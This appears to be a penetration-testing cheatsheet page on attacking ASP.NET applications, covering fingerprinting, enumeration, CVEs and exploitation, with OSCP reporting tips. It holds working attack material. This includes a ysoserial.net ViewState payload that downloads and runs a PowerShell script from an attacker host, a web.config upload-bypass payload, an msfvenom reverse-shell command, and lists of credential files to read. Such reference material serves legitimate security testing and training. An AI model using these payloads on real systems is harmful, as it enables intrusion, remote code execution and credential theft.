Skip to main content

.NET (ASP.NET / ASP.NET Core)

Part of 03 Languages in the Web Application Testing Cheatsheet.

Contents:

1. Detection​

1.1 Headers and cookies​

Header / cookieIndicates
X-Powered-By: ASP.NETASP.NET (Framework, not Core)
X-AspNet-Version: 4.0.30319ASP.NET Framework version
X-AspNetMvc-Version: 5.2ASP.NET MVC version
Server: Microsoft-IIS/10.0IIS 10 (Windows Server 2016+)
Server: KestrelASP.NET Core (Kestrel, cross-platform)
Set-Cookie: ASP.NET_SessionId=...ASP.NET Framework session
Set-Cookie: .AspNetCore.Session=...ASP.NET Core session
Set-Cookie: .AspNetCore.AntiforgeryASP.NET Core + antiforgery token

1.2 Error messages​

Error textFramework
Server Error in '/' ApplicationASP.NET Framework (default error page)
Runtime ErrorASP.NET Framework
An unhandled exception occurred while processing the requestASP.NET Core (dev)
System.NullReferenceExceptionAny .NET
System.Web.HttpExceptionASP.NET Framework
Microsoft.AspNetCoreASP.NET Core
Yellow Screen of Death (YSOD)ASP.NET Framework unhandled error

1.3 File extensions and paths​

PathPurpose
.aspxASP.NET WebForms / MVC view
.ashxASP.NET handler
.asmxASP.NET web service (SOAP)
.svcWCF service
.cshtmlRazor view (MVC/Core)
/web.configIIS / ASP.NET config (DB creds, keys)
/appsettings.jsonASP.NET Core config
/bin/Compiled DLLs
/App_Data/App data (often SQLite, logs)

2. Enumeration​

2.1 Common files​

PathPurpose
/web.configConfig (connection strings, machineKey)
/appsettings.jsonCore config
/appsettings.Development.jsonDev overrides
/elmah.axdELMAH error log (info disclosure)
/trace.axdASP.NET trace (info disclosure)
/glasmx.axdASP.NET client script
/bin/*.dllBinaries (download + decompile)

2.2 Version fingerprinting​

curl -sI http://<TARGET>/ | grep -i "x-aspnet\|x-powered-by\|server"
curl -s http://<TARGET>/WebResource.axd?d=x

2.3 ASP.NET viewstate (WebForms)​

Old ASP.NET WebForms uses ViewState (base64 in __VIEWSTATE). If machineKey leaks (from web.config), you can forge viewstate -> RCE via deserialization.

# Extract ViewState and __VIEWSTATEGENERATOR from a page
curl -s http://<TARGET>/page.aspx | grep -o '__VIEWSTATE[^"]*"[^"]*"'

# Decode
echo "<base64>" | base64 -d | xxd | head

Tools:

  • ysoserial.net - generates payloads for .NET gadget chains
  • ViewStateDecoder - decode + inspect

3. Known CVEs​

CVEAffectedImpactNVD
CVE-2020-0688Exchange 2010 SP3 RU30 / 2013 CU23 / 2016 CU14-15 / 2019 CU3-4RCE via static machineKeyhttps://nvd.nist.gov/vuln/detail/CVE-2020-0688
CVE-2021-34473Exchange 2013 CU23 / 2016 CU19-20 / 2019 CU8-9RCE pre-authhttps://nvd.nist.gov/vuln/detail/CVE-2021-34473
CVE-2021-34523Exchange 2013 CU23 / 2016 CU19-20 / 2019 CU8-9Elevation via PowerShell backendhttps://nvd.nist.gov/vuln/detail/CVE-2021-34523
CVE-2021-31207Exchange 2013 CU23 / 2016 CU19-20 / 2019 CU8-9Post-auth RCE via mailbox exporthttps://nvd.nist.gov/vuln/detail/CVE-2021-31207
CVE-2022-41040Exchange 2013 / 2016 / 2019SSRFhttps://nvd.nist.gov/vuln/detail/CVE-2022-41040
CVE-2022-41082Exchange 2013 / 2016 / 2019RCE post-authhttps://nvd.nist.gov/vuln/detail/CVE-2022-41082
CVE-2023-34362MOVEit Transfer 2021.0.x - 2023.0.x (all before 2023.0.1)SQLi to RCEhttps://nvd.nist.gov/vuln/detail/CVE-2023-34362
CVE-2024-38063Windows Server 2008-2022, Win 10/11 (IPv6 enabled)RCEhttps://nvd.nist.gov/vuln/detail/CVE-2024-38063

4. Exploitation patterns​

4.1 ViewState deserialization (WebForms)​

If you have the machineKey (from web.config, appsettings.json, or leaked), you can forge a ViewState payload that executes code on deserialization.

Tools:

  • ysoserial.net (Windows, .NET)
  • ysoserial (Linux, Java - different tool)
# Generate ViewState payload
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -c IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/shell.ps1')" --validationalg="SHA1" --validationkey="<KEY>" --generator="<GEN>"

Submit payload as __VIEWSTATE in a POST request.

4.2 machineKey decryption (CVE-2020-0688 style)​

If machineKey is static (default in some Exchange versions, IIS setups):

  1. Extract validationKey + decryptionKey from web.config.
  2. Use ysoserial.net to craft a ViewState payload.
  3. Send it to trigger RCE.

4.3 Object deserialization (JSON.NET / BinaryFormatter)​

If the app deserializes untrusted input with TypeNameHandling.All (Json.NET) or BinaryFormatter, RCE is possible.

ysoserial.net generators: TypeConfuseDelegate, ObjectDataProvider, WindowsIdentity, PSObject.

4.4 ASP.NET padding oracle (legacy)​

CVE-2010-3332 (ASP.NET padding oracle) - allows decryption of FormsAuthentication cookies, potential account takeover.

4.5 IIS short filename enumeration (tilde)​

IIS exposes 8.3 short names (/ADMINI~1) even when the long name is hidden.

# Tools
java -jar iis_shortname_scanner.jar 0 5 http://<TARGET>/
python3 shortscan.py http://<TARGET>/

4.6 Web.config exposure​

If /web.config is served (misconfig), extract:

  • connectionStrings - DB creds
  • machineKey - for ViewState forgery
  • appSettings - API keys, custom secrets

4.7 ViewState without MAC (legacy)​

Older ASP.NET (enableViewStateMac="false") allows ViewState tampering without machineKey. Very rare post-2014.

4.8 File upload bypass (.NET specific)​

  • .aspx, .ashx, .asmx, .config, .asp
  • .aspx;.jpg, .aspx%00.jpg
  • .cer, .asa - executed as ASP.NET by IIS
  • web.config - can set handlers (like .htaccess in Apache)

web.config payload for upload bypass:

<configuration>
  <system.webServer>
    <handlers>
      <add name="jpg-aspx" path="*.jpg" verb="*" type="System.Web.UI.PageHandlerFactory" />
    </handlers>
  </system.webServer>
</configuration>

Upload this as web.config, then a .jpg file with ASP.NET code executes.

5. Framework-specific​

5.1 ASP.NET Framework (WebForms / MVC)​

  • /web.config - config
  • /bin/*.dll - compiled
  • /App_Data/ - data
  • __VIEWSTATE - ViewState (WebForms)
  • __EVENTVALIDATION - event validation
  • /trace.axd - trace (if enabled)
  • /elmah.axd - ELMAH logs (if enabled)

5.2 ASP.NET Core​

  • /appsettings.json, /appsettings.Production.json
  • /Properties/launchSettings.json
  • /wwwroot/ - static files
  • /Pages/ - Razor Pages
  • /Controllers/ - MVC / API controllers
  • /swagger, /swagger/index.html - Swagger UI (API exploration)
  • /openapi.json - OpenAPI schema

5.3 IIS​

  • /iisstart.htm - default IIS page
  • /web.config - config
  • /%7E + name - short filename (tilde)
  • /trace.axd - trace
  • /elmah.axd - ELMAH

5.4 Windows-specific quirks​

  • ::$DATA - NTFS alternate data stream bypass
  • . at end (trailing dot) - stripped by IIS
  • (space) - stripped by IIS
  • // (double slash) - path normalization

6. Post-exploitation​

6.1 Read config files​

/web.config
/appsettings.json
/appsettings.Production.json
/App_Data/*.config
/ConnectionStrings.config

6.2 Extract machineKey (for ViewState RCE)​

<system.web>
  <machineKey validationKey="..." decryptionKey="..." validation="SHA1" decryption="AES" />
</system.web>

6.3 IIS app pools​

# On Windows target (after RCE)
C:\Windows\System32\inetsrv\appcmd.exe list apppool
C:\Windows\System32\inetsrv\appcmd.exe list sites

6.4 .NET reverse shell​

Use ysoserial.net for a ViewState/deserialization RCE, or msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o shell.exe

7. OSCP notes​

IMPORTANT

OSCP report: screenshot the framework fingerprint (X-AspNet-Version, Server: Microsoft-IIS, Kestrel) that identifies .NET.

IMPORTANT

OSCP report: screenshot /web.config or /appsettings.json read (creds, machineKey).

IMPORTANT

OSCP report: screenshot the moment of RCE (ViewState payload output, uploaded .aspx/.ashx shell).

8. References​